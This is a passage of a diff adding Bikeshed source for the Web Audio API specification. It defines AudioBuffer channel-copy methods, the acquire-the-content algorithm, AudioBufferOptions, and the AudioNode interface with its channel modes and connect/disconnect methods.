+		channelNumber: The index of the channel to copy the data from. If <code>channelNumber</code> is greater or equal than the number of channels of the {{AudioBuffer}}, <span class="synchronous">an {{IndexSizeError}} MUST be thrown</span>.
+		bufferOffset: An optional offset, defaulting to 0.  Data from the {{AudioBuffer}} starting at this offset is copied to the {{AudioBuffer/copyFromChannel()/destination}}.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>copyToChannel(source, channelNumber, bufferOffset)</dfn>
+	::
+		The {{AudioBuffer/copyToChannel()}} method copies the samples to
+		the specified channel of the {{AudioBuffer}} from the
+		<code>source</code> array.
+
+		A {{UnknownError}} may be thrown if
+		{{AudioBuffer/copyToChannel()/source}} cannot be
+		copied to the buffer.
+
+		Let <code>buffer</code> be the {{AudioBuffer}} with
+		\(N_b\) frames, let \(N_f\) be the number of elements in the
+		{{AudioBuffer/copyToChannel()/source}} array, and \(k\) be the value of
+		{{AudioBuffer/copyToChannel()/bufferOffset}}. Then the number of frames copied
+		from {{AudioBuffer/copyToChannel()/source}} to the <code>buffer</code> is
+		\(\max(0, \min(N_b - k, N_f))\). If this is less than \(N_f\), then the
+		remaining elements of <code>buffer</code> are not
+		modified.
+
+		<pre class=argumentdef for="AudioBuffer/copyToChannel()">
+		source: The array the channel data will be copied from.
+		channelNumber: The index of the channel to copy the data to. If <code>channelNumber</code> is greater or equal than the number of channels of the {{AudioBuffer}}, <span class="synchronous">an {{IndexSizeError}} MUST be thrown</span>.
+		bufferOffset: An optional offset, defaulting to 0.  Data from the {{AudioBuffer/copyToChannel()/source}} is copied to the {{AudioBuffer}} starting at this offset.
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>getChannelData(channel)</dfn>
+	::
+		<div class="correction proposed" id="c2361-3">
+		  <span class="marker">Proposed Correction
+		  <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-3.
+		  </span>
+		  Use new Web IDL buffer primitives
+		  <div class="amendment-buttons">
+		    Buttons here
+		  </div>
+		According to the rules described in <a href="#acquire-the-content">acquire the content</a>
+		either <del>get a reference to</del><ins>allow [=ArrayBufferView/write|writing=] into</ins>
+		or [=get a copy of the buffer source|getting a copy of=]
+		the bytes stored in {{[[internal data]]}} in a new
+		{{Float32Array}}
+		</div>
+
+		A {{UnknownError}} may be thrown if the {{[[internal
+		data]]}} or the new {{Float32Array}} cannot be
+		created.
+
+		<pre class=argumentdef for="AudioBuffer/getChannelData()">
+		channel: This parameter is an index representing the particular channel to get data for. An index value of 0 represents the first channel. <span class="synchronous">This index value MUST be less than {{[[number of channels]]}} or an {{IndexSizeError}} exception MUST be thrown.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{Float32Array}}
+		</div>
+</dl>
+
+Note: The methods {{AudioBuffer/copyToChannel()}} and
+{{AudioBuffer/copyFromChannel()}} can be used to fill part of an array by
+passing in a {{Float32Array}} that's a view onto the larger
+array. When reading data from an {{AudioBuffer}}'s channels, and
+the data can be processed in chunks, {{AudioBuffer/copyFromChannel()}}
+should be preferred to calling {{AudioBuffer/getChannelData()}} and
+accessing the resulting array, because it may avoid unnecessary
+memory allocation and copying.
+
+An internal operation <a href="#acquire-the-content">acquire the
+contents of an AudioBuffer</a> is invoked when the
+contents of an {{AudioBuffer}} are needed by some API
+implementation. This operation returns immutable channel data to the
+invoker.
+
+<div algorithm="acquire the content of an AudioBuffer">
+	When an <dfn lt="acquire the content|acquire the contents of an AudioBuffer">acquire the content</dfn>
+	operation occurs on an {{AudioBuffer}}, run the following steps:
+
+	
+	1.
+		<div class="correction proposed" id="c2361-4">
+		  <span class="marker">Proposed Correction
+		  <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-4.
+		  </span>
+		  Use new Web IDL buffer primitives
+		  <div class="amendment-buttons">
+		    Buttons here
+		  </div>
+		If <del>the operation <a href="https://tc39.github.io/ecma262/#sec-isdetachedbuffer"><code>IsDetachedBuffer</code></a>
+		on any of the {{AudioBuffer}}'s {{ArrayBuffer}}s</del><ins>any of the {{AudioBuffer}}'s {{ArrayBuffer}}s are
+		[=BufferSource/detached=]</ins>, return `true`, abort these steps, and
+		return a zero-length channel data buffer to the invoker.
+		</div>
+
+	2. <div class="correction proposed" id="c2361-5">
+		  <span class="marker">Proposed Correction
+		  <a href="https://github.com/WebAudio/web-audio-api/issues/2361">Issue 2361</a>-5.
+		  </span>
+		  Use new Web IDL buffer primitives
+		  <div class="amendment-buttons">
+		    Buttons here
+		  </div>
+		<del><a href="https://tc39.github.io/ecma262/#sec-detacharraybuffer">Detach</a></del><ins>[=ArrayBuffer/Detach=]</ins> all {{ArrayBuffer}}s for arrays previously returned
+		by {{AudioBuffer/getChannelData()}} on this {{AudioBuffer}}.
+		</div>
+
+		Note: Because {{AudioBuffer}} can only be created via
+		{{BaseAudioContext/createBuffer()}} or via the {{AudioBuffer}} constructor, this
+		cannot throw.
+
+	3. Retain the underlying {{[[internal data]]}} from those
+		{{ArrayBuffer}}s and return references to them to the
+		invoker.
+
+	4. Attach {{ArrayBuffer}}s containing copies of the data to
+		the {{AudioBuffer}}, to be returned by the next call to
+		{{AudioBuffer/getChannelData()}}.
+</div>
+
+The [=acquire the contents of an AudioBuffer=] operation is invoked in the following cases:
+
+* When {{AudioBufferSourceNode/start()|AudioBufferSourceNode.start}}  is called, it
+	<a href="#acquire-the-content">acquires the contents</a> of the
+	node's {{AudioBufferSourceNode/buffer}}. If the operation fails, nothing is
+	played.
+
+* When the {{AudioBufferSourceNode/buffer}} of an {{AudioBufferSourceNode}}
+	is set and {{AudioBufferSourceNode/start()|AudioBufferSourceNode.start}} has been
+	previously called, the setter <a href="#acquire-the-content">acquires
+	the content</a> of the {{AudioBuffer}}. If the operation fails,
+	nothing is played.
+
+* When a {{ConvolverNode}}'s {{ConvolverNode/buffer}} is set to an
+	{{AudioBuffer}} it <a href="#acquire-the-content">acquires the content</a> of
+	the {{AudioBuffer}}.
+
+* When the dispatch of an {{AudioProcessingEvent}} completes, it
+	<a href="#acquire-the-content">acquires the contents</a> of its
+	{{AudioProcessingEvent/outputBuffer}}.
+
+Note: This means that {{AudioBuffer/copyToChannel()}} cannot be used to change
+the content of an {{AudioBuffer}} currently in use by an
+{{AudioNode}} that has [=acquire the content|acquired the content of an AudioBuffer=]
+since the {{AudioNode}} will continue to use the data previously
+acquired.
+
+<h4 dictionary lt="audiobufferoptions" id="AudioBufferOptions">
+{{AudioBufferOptions}}</h4>
+
+This specifies the options to use in constructing an
+{{AudioBuffer}}. The {{AudioBufferOptions/length}} and {{AudioBufferOptions/sampleRate}} members are
+required.
+
+<pre class="idl">
+dictionary AudioBufferOptions {
+	unsigned long numberOfChannels = 1;
+	required unsigned long length;
+	required float sampleRate;
+};
+</pre>
+
+<h5 id="dictionary-audiobufferoptions-members">
+Dictionary {{AudioBufferOptions}} Members</h5>
+
+The allowed values for the members of this dictionary are constrained.  See {{BaseAudioContext/createBuffer()}}.
+
+<dl dfn-type=dict-member dfn-for="AudioBufferOptions">
+	: <dfn>length</dfn>
+	::
+		The length in sample frames of the buffer. See {{BaseAudioContext/createBuffer()/length}} for constraints.
+
+	: <dfn>numberOfChannels</dfn>
+	::
+		The number of channels for the buffer.  See {{BaseAudioContext/createBuffer()/numberOfChannels}} for constraints.
+
+	: <dfn>sampleRate</dfn>
+	::
+		The sample rate in Hz for the buffer.  See {{BaseAudioContext/createBuffer()/sampleRate}} for constraints.
+</dl>
+
+
+<!--
+   ███    ██     ██ ████████  ████  ███████  ██    ██  ███████  ████████  ████████
+  ██ ██   ██     ██ ██     ██  ██  ██     ██ ███   ██ ██     ██ ██     ██ ██
+ ██   ██  ██     ██ ██     ██  ██  ██     ██ ████  ██ ██     ██ ██     ██ ██
+██     ██ ██     ██ ██     ██  ██  ██     ██ ██ ██ ██ ██     ██ ██     ██ ██████
+█████████ ██     ██ ██     ██  ██  ██     ██ ██  ████ ██     ██ ██     ██ ██
+██     ██ ██     ██ ██     ██  ██  ██     ██ ██   ███ ██     ██ ██     ██ ██
+██     ██  ███████  ████████  ████  ███████  ██    ██  ███████  ████████  ████████
+-->
+
+
+<h3 interface lt="audionode" id="AudioNode">
+The {{AudioNode}} Interface</h3>
+
+{{AudioNode}}s are the building blocks of an {{AudioContext}}. This interface
+represents audio sources, the audio destination, and intermediate
+processing modules. These modules can be connected together to form
+<a href="#ModularRouting">processing graphs</a> for rendering audio
+to the audio hardware. Each node can have <a>inputs</a> and/or
+<a>outputs</a>. A <a>source node</a> has no inputs and a single
+output. Most processing nodes such as filters will have one input and
+one output. Each type of {{AudioNode}} differs in the
+details of how it processes or synthesizes audio. But, in general, an
+{{AudioNode}} will process its inputs (if it has
+any), and generate audio for its outputs (if it has any).
+
+Each output has one or more channels. The exact number of channels
+depends on the details of the specific {{AudioNode}}.
+
+An output may connect to one or more {{AudioNode}}
+inputs, thus <em>fan-out</em> is supported. An input initially has no
+connections, but may be connected from one or more {{AudioNode}}
+outputs, thus <em>fan-in</em> is supported. When the
+<code>connect()</code> method is called to connect an output of an
+{{AudioNode}} to an input of an {{AudioNode}}, we call that a
+<dfn>connection</dfn> to the input.
+
+Each {{AudioNode}} <dfn>input</dfn> has a specific number of
+channels at any given time. This number can change depending on the
+<a>connection</a>(s) made to the input. If the input has no
+connections then it has one channel which is silent.
+
+For each <a>input</a>, an {{AudioNode}} performs a
+mixing of all connections to that input.
+Please see <a href="#channel-up-mixing-and-down-mixing"></a>
+for normative requirements and details.
+
+The processing of inputs and the internal operations of an
+{{AudioNode}} take place continuously with respect to
+{{AudioContext}} time, regardless of whether the node has
+connected outputs, and regardless of whether these outputs ultimately
+reach an {{AudioContext}}'s {{AudioDestinationNode}}.
+
+<pre class="idl">
+[Exposed=Window]
+interface AudioNode : EventTarget {
+	AudioNode connect (AudioNode destinationNode,
+	                   optional unsigned long output = 0,
+	                   optional unsigned long input = 0);
+	undefined connect (AudioParam destinationParam, optional unsigned long output = 0);
+	undefined disconnect ();
+	undefined disconnect (unsigned long output);
+	undefined disconnect (AudioNode destinationNode);
+	undefined disconnect (AudioNode destinationNode, unsigned long output);
+	undefined disconnect (AudioNode destinationNode,
+	                      unsigned long output,
+	                      unsigned long input);
+	undefined disconnect (AudioParam destinationParam);
+	undefined disconnect (AudioParam destinationParam, unsigned long output);
+	readonly attribute BaseAudioContext context;
+	readonly attribute unsigned long numberOfInputs;
+	readonly attribute unsigned long numberOfOutputs;
+	attribute unsigned long channelCount;
+	attribute ChannelCountMode channelCountMode;
+	attribute ChannelInterpretation channelInterpretation;
+};
+</pre>
+
+<h4 id="AudioNode-creation">
+AudioNode Creation</h4>
+
+{{AudioNode}}s can be created in two ways: by using the
+constructor for this particular interface, or by using the
+<dfn>factory method</dfn> on the {{BaseAudioContext}} or
+{{AudioContext}}.
+
+The {{BaseAudioContext}} passed as first argument of the
+constructor of an {{AudioNode}}s is called the <dfn id="associated">associated {{BaseAudioContext}}</dfn> of the
+{{AudioNode}} to be created. Similarly, when using the factory
+method, the <a>associated <code>BaseAudioContext</code></a> of the
+{{AudioNode}} is the {{BaseAudioContext}} this factory method
+is called on.
+
+<div algorithm="AudioNode factory method">
+	To create a new {{AudioNode}} of a particular type <var>n</var>
+	using its <a>factory method</a>, called on a
+	{{BaseAudioContext}} <var>c</var>, execute these steps:
+
+	1. Let <var>node</var> be a new object of type <var>n</var>.
+
+	2. Let <var>option</var> be a dictionary of the type <a lt="associated option
+		object">associated</a> to the interface <a lt="associated interface">
+		associated</a> to this factory method.
+
+	3. For each parameter passed to the factory method, set the
+		dictionary member of the same name on <var>option</var> to the
+		value of this parameter.
+
+	4. Call the constructor for <var>n</var> on <var>node</var> with
+		<var>c</var> and <var>option</var> as arguments.
+
+	5. Return <var>node</var>
+</div>
+
+<div algorithm="initialize an AudioNode">
+	<dfn id="audionode-constructor-init">Initializing</dfn> an object
+	<var>o</var> that inherits from {{AudioNode}} means executing the following
+	steps, given the arguments <var>context</var> and <var>dict</var> passed to
+	the constructor of this interface.
+
+	1. Set <var>o</var>'s associated {{BaseAudioContext}} to <var>context</var>.
+
+	2. Set its value for {{AudioNode/numberOfInputs}},
+		{{AudioNode/numberOfOutputs}}, {{AudioNode/channelCount}},
+		{{AudioNode/channelCountMode}}, {{AudioNode/channelInterpretation}} to the
+		default value for this
+		specific interface outlined in the section for each {{AudioNode}}.
+
+	3. For each member of <var>dict</var> passed in, execute these steps, with
+		<var>k</var> the key of the member, and <var>v</var> its value. If any
+		exceptions is thrown when executing these steps, abort the iteration and
+		propagate the exception to the caller of the algorithm (constructor or
+		factory method).
+
+		1. If <var>k</var> is the name of an {{AudioParam}} on this
+			interface, set the {{AudioParam/value}}
+			attribute of this {{AudioParam}} to <var>v</var>.
+
+		2. Else if <var>k</var> is the name of an attribute on this
+			interface, set the object associated with this attribute to
+			<var>v</var>.
+</div>
+
+The <dfn>associated interface</dfn> for a factory method is the
+interface of the objects that are returned from this method. The
+<dfn>associated option object</dfn> for an interface is the option
+object that can be passed to the constructor for this interface.
+
+{{AudioNode}}s are {{EventTarget}}s, as described in [[!DOM]].
+This means that it is possible to dispatch events to
+{{AudioNode}}s the same way that other {{EventTarget}}s
+accept events.
+
+<pre class="idl">
+enum ChannelCountMode {
+	"max",
+	"clamped-max",
+	"explicit"
+};
+</pre>
+
+The {{ChannelCountMode}}, in conjuction with the node's
+{{AudioNode/channelCount}} and {{AudioNode/channelInterpretation}} values, is used to determine
+the <dfn>computedNumberOfChannels</dfn> that controls how inputs to a
+node are to be mixed. The <a>computedNumberOfChannels</a> is
+determined as shown below. See <a href="#channel-up-mixing-and-down-mixing"></a> for more information on how
+mixing is to be done.
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="ChannelCountMode">
+	<thead>
+	<tr>
+		<th scope="col" colspan="2">
+			Enumeration description
+	<tbody>
+	<tr>
+		<td>"<dfn>max</dfn>"
+		<td>
+			<a>computedNumberOfChannels</a> is the maximum of the number of
+			channels of all connections to an input. In this mode
+			{{AudioNode/channelCount}} is ignored.
+	<tr>
+		<td>"<dfn>clamped-max</dfn>"
+		<td>
+			<a>computedNumberOfChannels</a> is determined as for "{{ChannelCountMode/max}}"
+			and then clamped to a maximum value of the given
+			{{AudioNode/channelCount}}.
+	<tr>
+		<td>"<dfn>explicit</dfn>"
+		<td>
+			<a>computedNumberOfChannels</a> is the exact value as specified
+			by the {{AudioNode/channelCount}}.
+</table>
+</div>
+
+<pre class="idl">
+enum ChannelInterpretation {
+	"speakers",
+	"discrete"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-type=enum-value dfn-for="ChannelInterpretation">
+	<thead>
+	<tr>
+		<th scope="col" colspan="2">
+			Enumeration description
+	<tbody>
+	<tr>
+		<td>"<dfn>speakers</dfn>"
+		<td>
+			use <a href="#UpMix-sub">up-mix equations</a> or <a href="#down-mix">down-mix equations</a>. In cases where the number of
+			channels do not match any of these basic speaker layouts, revert
+			to "{{ChannelInterpretation/discrete}}".
+	<tr>
+		<td>"<dfn>discrete</dfn>"
+		<td>
+			Up-mix by filling channels until they run out then zero out
+			remaining channels. Down-mix by filling as many channels as
+			possible, then dropping remaining channels.
+</table>
+</div>
+
+<h4 id="AudioNode-tail">AudioNode Tail-Time</h4>
+
+An {{AudioNode}} can have a <dfn>tail-time</dfn>. This means that even when the
+{{AudioNode}} is fed silence, the output can be non-silent.
+
+{{AudioNode}}s have a non-zero tail-time if they have internal processing state
+such that input in the past affects the future output. {{AudioNode}}s
+may continue to produce non-silent output for the calculated tail-time even
+after the input transitions from non-silent to silent.
+
+<h4 id="AudioNode-actively-processing">AudioNode Lifetime</h4>
+
+{{AudioNode}} can be <dfn id="actively-processing">actively processing</dfn>
+during a <a>render quantum</a>, if any of the following conditions hold.
+
+- An {{AudioScheduledSourceNode}} is [=actively processing=] if and only if it
+	is [=playing=] for at least part of the current rendering quantum.
+- A {{MediaElementAudioSourceNode}} is [=actively processing=] if and only if its
+	{{MediaElementAudioSourceNode/mediaElement}} is playing for at least part of
+	the current rendering quantum.
+- A {{MediaStreamAudioSourceNode}} or a {{MediaStreamTrackAudioSourceNode}} are
+	[=actively processing=] when the associated
+	{{MediaStreamTrack}} object has a
+	<code>readyState</code> attribute equal to <code>"live"</code>, a
+	<code>muted</code> attribute equal to <code>false</code> and an
+	<code>enabled</code> attribute equal to <code>true</code>.
+- A {{DelayNode}} in a cycle is [=actively processing=] only when the absolute value
+	of any output sample for the current [=render quantum=] is greater than or equal
+	to \( 2^{-126} \).
+- A {{ScriptProcessorNode}} is [=actively processing=] when its input or output is
+	connected.
+- An {{AudioWorkletNode}} is [=actively processing=] when its
+	{{AudioWorkletProcessor}}'s {{[[callable process]]}} returns <code>true</code>
+	and either its [=active source=] flag is <code>true</code> or any
+	{{AudioNode}} connected to one of its inputs is [=actively processing=].
+- All other {{AudioNode}}s start [=actively processing=] when any
+	{{AudioNode}} connected to one of its inputs is [=actively processing=], and
+	stops [=actively processing=] when the input that was received from other
+	[=actively processing=] {{AudioNode}} no longer affects the output.
+
+Note: This takes into account {{AudioNode}}s that have a [=tail-time=].
+
+{{AudioNode}}s that are not [=actively processing=] output a single channel of
+silence.
+
+
+<h4 id="AudioNode-attributes">
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for="AudioNode">
+	: <dfn>channelCount</dfn>
+	::
+		{{AudioNode/channelCount}} is the number of channels used when
+		up-mixing and down-mixing connections to any inputs to the
+		node. The default value is 2 except for specific nodes where
+		its value is specially determined. This attribute has no effect
+		for nodes with no inputs. <span class="synchronous">If this
+		value is set to zero or to a value greater than the
+		implementation's maximum number of channels the implementation
+		MUST throw a {{NotSupportedError}} exception.</span>
+
+		In addition, some nodes have additional <dfn dfn>channelCount
+		constraints</dfn> on the possible values for the channel count:
+
+		:  {{AudioDestinationNode}}
+		::
+			The behavior depends on whether the destination node is the
+			destination of an {{AudioContext}} or
+			{{OfflineAudioContext}}:
+
+			: {{AudioContext}}
+			::
+				The channel count MUST be between 1 and
+				{{AudioDestinationNode/maxChannelCount}}. An <span class="synchronous">{{IndexSizeError}} exception MUST
+				be thrown for any attempt to set the count outside this
+				range</span>.
+			: {{OfflineAudioContext}}
+			::
+				The channel count cannot be changed. An <span class="synchronous">{{InvalidStateError}} exception
+				MUST be thrown for any attempt to change the
+				value.</span>
+
+		: {{AudioWorkletNode}}
+		::
+			See [[#configuring-channels-with-audioworkletnodeoptions]]
+			Configuring Channels with AudioWorkletNodeOptions</a>.
+
+		: {{ChannelMergerNode}}
+		::
+			The channel count cannot be changed, and an <span class="synchronous">{{InvalidStateError}} exception MUST
+			be thrown for any attempt to change the value.</span>
+
+		: {{ChannelSplitterNode}}
+		::
+			The channel count cannot be changed, and an <span class="synchronous">{{InvalidStateError}} exception MUST
+			be thrown for any attempt to change the value.</span>
+
+		: {{ConvolverNode}}
+		::
+			The channel count cannot be greater than two, and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to change it to a
+			value greater than two.</span>
+
+		: {{DynamicsCompressorNode}}
+		::
+			The channel count cannot be greater than two, and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to change it to a
+			value greater than two.</span>
+
+		: {{PannerNode}}
+		::
+			The channel count cannot be greater than two, and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to change it to a
+			value greater than two.</span>
+
+		: {{ScriptProcessorNode}}
+		::
+			The channel count cannot be changed, and an <span class="synchronous">{{NotSupportedError}} exception MUST
+			be thrown for any attempt to change the value.</span>
+
+		: {{StereoPannerNode}}
+		::
+			The channel count cannot be greater than two, and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to change it to a
+			value greater than two.</span>
+
+		See [[#channel-up-mixing-and-down-mixing]] for more information on this attribute.
+
+	: <dfn>channelCountMode</dfn>
+	::
+		{{AudioNode/channelCountMode}} determines how channels will be counted
+		when up-mixing and down-mixing connections to any inputs to the
+		node. The default value is "{{ChannelCountMode/max}}". This attribute has no effect for nodes with no inputs.
+
+		In addition, some nodes have additional <dfn dfn>channelCountMode
+		constraints</dfn> on the possible values for the channel count
+		mode:
+
+		: {{AudioDestinationNode}}
+		::
+			If the {{AudioDestinationNode}} is the {{BaseAudioContext/destination}} node of an
+			{{OfflineAudioContext}}, then the channel count mode
+			cannot be changed. An <span class="synchronous">{{InvalidStateError}} exception MUST
+			be thrown for any attempt to change the value.</span>
+		: {{ChannelMergerNode}}
+		::
+			The channel count mode cannot be changed from "{{ChannelCountMode/explicit}}" and
+			an <span class="synchronous">{{InvalidStateError}}
+			exception MUST be thrown for any attempt to change the
+			value.</span>
+
+
+		: {{ChannelSplitterNode}}
+		::
+			The channel count mode cannot be changed from "{{ChannelCountMode/explicit}}" and
+			an <span class="synchronous">{{InvalidStateError}}
+			exception MUST be thrown for any attempt to change the
+			value.</span>
+
+		: {{ConvolverNode}}
+		::
+			The channel count mode cannot be set to "{{ChannelCountMode/max}}", and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to set it to
+			"{{ChannelCountMode/max}}".</span>
+
+		: {{DynamicsCompressorNode}}
+		::
+			The channel count mode cannot be set to "{{ChannelCountMode/max}}", and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to set it to
+			"{{ChannelCountMode/max}}".</span>
+
+		: {{PannerNode}}
+		::
+			The channel count mode cannot be set to "{{ChannelCountMode/max}}", and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to set it to
+			"{{ChannelCountMode/max}}".</span>
+
+		: {{ScriptProcessorNode}}
+		::
+			The channel count mode cannot be changed from "{{ChannelCountMode/explicit}}" and
+			an <span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to change the
+			value.</span>
+
+		: {{StereoPannerNode}}
+		::
+			The channel count mode cannot be set to "{{ChannelCountMode/max}}", and a
+			<span class="synchronous">{{NotSupportedError}}
+			exception MUST be thrown for any attempt to set it to
+			"{{ChannelCountMode/max}}".</span>
+
+		See the <a href="#channel-up-mixing-and-down-mixing"></a>
+		section for more information on this attribute.
+
+	: <dfn>channelInterpretation</dfn>
+	::
+		{{AudioNode/channelInterpretation}} determines how individual channels
+		will be treated when up-mixing and down-mixing connections to
+		any inputs to the node. The default value is "{{ChannelInterpretation/speakers}}". This attribute has no effect for nodes
+		with no inputs.
+
+		In addition, some nodes have additional
+		<dfn dfn>channelInterpretation constraints</dfn> on the possible
+		values for the channel interpretation:
+
+		:  {{ChannelSplitterNode}}
+		::
+			The channel intepretation can not be changed from
+			"{{ChannelInterpretation/discrete}}" and a
+			<span class="synchronous">{{InvalidStateError}}
+			exception MUST be thrown for any attempt to change the
+			value.</span>
+
+		See [[#channel-up-mixing-and-down-mixing]] for more information on this attribute.
+
+	: <dfn>context</dfn>
+	::
+		The {{BaseAudioContext}} which owns this {{AudioNode}}.
+
+	: <dfn>numberOfInputs</dfn>
+	::
+		The number of inputs feeding into the {{AudioNode}}. For
+		<dfn dfn>source nodes</dfn>, this will be 0. This attribute is
+		predetermined for many {{AudioNode}} types, but some
+		{{AudioNode}}s, like the {{ChannelMergerNode}} and the
+		{{AudioWorkletNode}}, have variable number of inputs.
+
+	: <dfn>numberOfOutputs</dfn>
+	::
+		The number of outputs coming out of the {{AudioNode}}. This
+		attribute is predetermined for some {{AudioNode}} types, but
+		can be variable, like for the {{ChannelSplitterNode}} and the
+		{{AudioWorkletNode}}.
+</dl>
+
+<h4 id="AudioNode-methods">
+Methods</h4>
+
+<dl dfn-type=method dfn-for="AudioNode">
+	: <dfn>connect(destinationNode, output, input)</dfn>
+	::
+		There can only be one connection between a given output of one
+		specific node and a given input of another specific node.
+		Multiple connections with the same termini are ignored.
+
+		<div class=example>
+			For example:
+
+			<pre highlight="js">
+				nodeA.connect(nodeB);
+				nodeA.connect(nodeB);
+			</pre>
+
+			will have the same effect as
+
+			<pre highlight="js">
+				nodeA.connect(nodeB);
+			</pre>
+		</div>
+
+		This method returns <code>destination</code>
+		{{AudioNode}} object.
+
+		<pre class=argumentdef for="AudioNode/connect(destinationNode, output, input)">
+			destinationNode: The <code>destination</code> parameter is the {{AudioNode}} to connect to. <span class="synchronous">If the <code>destination</code> parameter is an {{AudioNode}} that has been created using another {{AudioContext}}, an {{InvalidAccessError}} MUST be thrown</span>. That is, {{AudioNode}}s cannot be shared between {{AudioContext}}s. Multiple {{AudioNode}}s can be connected to the same {{AudioNode}}, this is described in [[#channel-up-mixing-and-down-mixing|Channel Upmixing and down mixing]] section.
+			output: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to connect. <span class="synchronous">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span> It is possible to connect an {{AudioNode}} output to more than one input with multiple calls to connect(). Thus, "fan-out" is supported.
+			input:  The <code>input</code> parameter is an index describing which input of the destination {{AudioNode}} to connect to. <span class="synchronous">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span> It is possible to connect an {{AudioNode}} to another {{AudioNode}} which creates a <dfn dfn for>cycle</dfn>: an {{AudioNode}} may connect to another {{AudioNode}}, which in turn connects back to the input or {{AudioParam}} of the first {{AudioNode}}.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{AudioNode}}
+		</div>
+
+	: <dfn>connect(destinationParam, output)</dfn>
+	::
+		Connects the {{AudioNode}} to an
+		{{AudioParam}}, controlling the parameter value
+		with an <a>a-rate</a> signal.
+
+		It is possible to connect an {{AudioNode}}
+		output to more than one {{AudioParam}} with
+		multiple calls to connect(). Thus, "fan-out" is supported.
+
+		It is possible to connect more than one
+		{{AudioNode}} output to a single
+		{{AudioParam}} with multiple calls to
+		connect(). Thus, "fan-in" is supported.
+
+		An {{AudioParam}} will take the rendered audio
+		data from any {{AudioNode}} output connected to
+		it and <a href="#down-mix">convert it to mono</a> by
+		down-mixing if it is not already mono, then mix it together
+		with other such outputs and finally will mix with the
+		<em>intrinsic</em> parameter value (the <code>value</code> the
+		{{AudioParam}} would normally have without any
+		audio connections), including any timeline changes scheduled
+		for the parameter.
+
+		The down-mixing to mono is equivalent to the down-mixing for an
+		{{AudioNode}} with {{AudioNode/channelCount}} = 1,
+		{{AudioNode/channelCountMode}} = "{{ChannelCountMode/explicit}}", and
+		{{AudioNode/channelInterpretation}} = "{{ChannelInterpretation/speakers}}".
+
+		There can only be one connection between a given output of one
+		specific node and a specific {{AudioParam}}.
+		Multiple connections with the same termini are ignored.
+
+		<div class=example>
+			For example:
+
+			<pre highlight="js">
+				nodeA.connect(param);
+				nodeA.connect(param);
+			</pre>
+
+			will have the same effect as
+
+			<pre highlight="js">
+				nodeA.connect(param);
+			</pre>
+		</div>
+
+		<pre class=argumentdef for="AudioNode/connect(destinationParam, output)">
+			destinationParam: The <code>destination</code> parameter is the {{AudioParam}} to connect to. This method does not return the <code>destination</code> {{AudioParam}} object. <span class="synchronous">If {{AudioNode/connect(destinationParam, output)/destinationParam}} belongs to an {{AudioNode}} that belongs to a {{BaseAudioContext}} that is different from the {{BaseAudioContext}} that has created the {{AudioNode}} on which this method was called, an {{InvalidAccessError}} MUST be thrown.</span>
+			output: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to connect. <span class="synchronous">If the <code>parameter</code> is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>disconnect()</dfn>
+	::
+		Disconnects all outgoing connections from the
+		{{AudioNode}}.
+
+		<div>
+			<em>No parameters.</em>
+		</div>
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>disconnect(output)</dfn>
+	::
+		Disconnects a single output of the
+		{{AudioNode}} from any other
+		{{AudioNode}} or {{AudioParam}}
+		objects to which it is connected.
+
+		<pre class=argumentdef for="AudioNode/disconnect(output)">
+			output:  This parameter is an index describing which output of the {{AudioNode}} to disconnect. It disconnects all outgoing connections from the given output. <span class="synchronous">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>disconnect(destinationNode)</dfn>
+	::
+		Disconnects all outputs of the {{AudioNode}}
+		that go to a specific destination
+		{{AudioNode}}.
+
+		<pre class=argumentdef for="AudioNode/disconnect(destinationNode)">
+			destinationNode: The <code>destinationNode</code> parameter is the {{AudioNode}} to disconnect. It disconnects all outgoing connections to the given <code>destinationNode</code>. <span class="synchronous">If there is no connection to the <code>destinationNode</code>, an {{InvalidAccessError}} exception MUST be thrown.</span>
+		</pre>
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>disconnect(destinationNode, output)</dfn>
+	::
+		Disconnects a specific output of the
+		{{AudioNode}} from any and all inputs of some
+		destination {{AudioNode}}.
+
+		<pre class=argumentdef for="AudioNode/disconnect(destinationNode, output)">
+			destinationNode: The <code>destinationNode</code> parameter is the {{AudioNode}} to disconnect. <span class="synchronous">If there is no connection to the <code>destinationNode</code> from the given output, an {{InvalidAccessError}} exception MUST be thrown.</span>
+			output: The <code>output</code> parameter is an index describing which output of the {{AudioNode}} from which to disconnect. <span class="synchronous">If this parameter is out-of-bounds, an {{IndexSizeError}} exception MUST be thrown.</span>
+		</pre>
+
+		<div>
+			<em>Return type:</em> {{undefined}}
+		</div>
+
+	: <dfn>disconnect(destinationNode, output, input)</dfn>
+	::
+		Disconnects a specific output of the
+		{{AudioNode}} from a specific input of some
+		destination {{AudioNode}}.
+
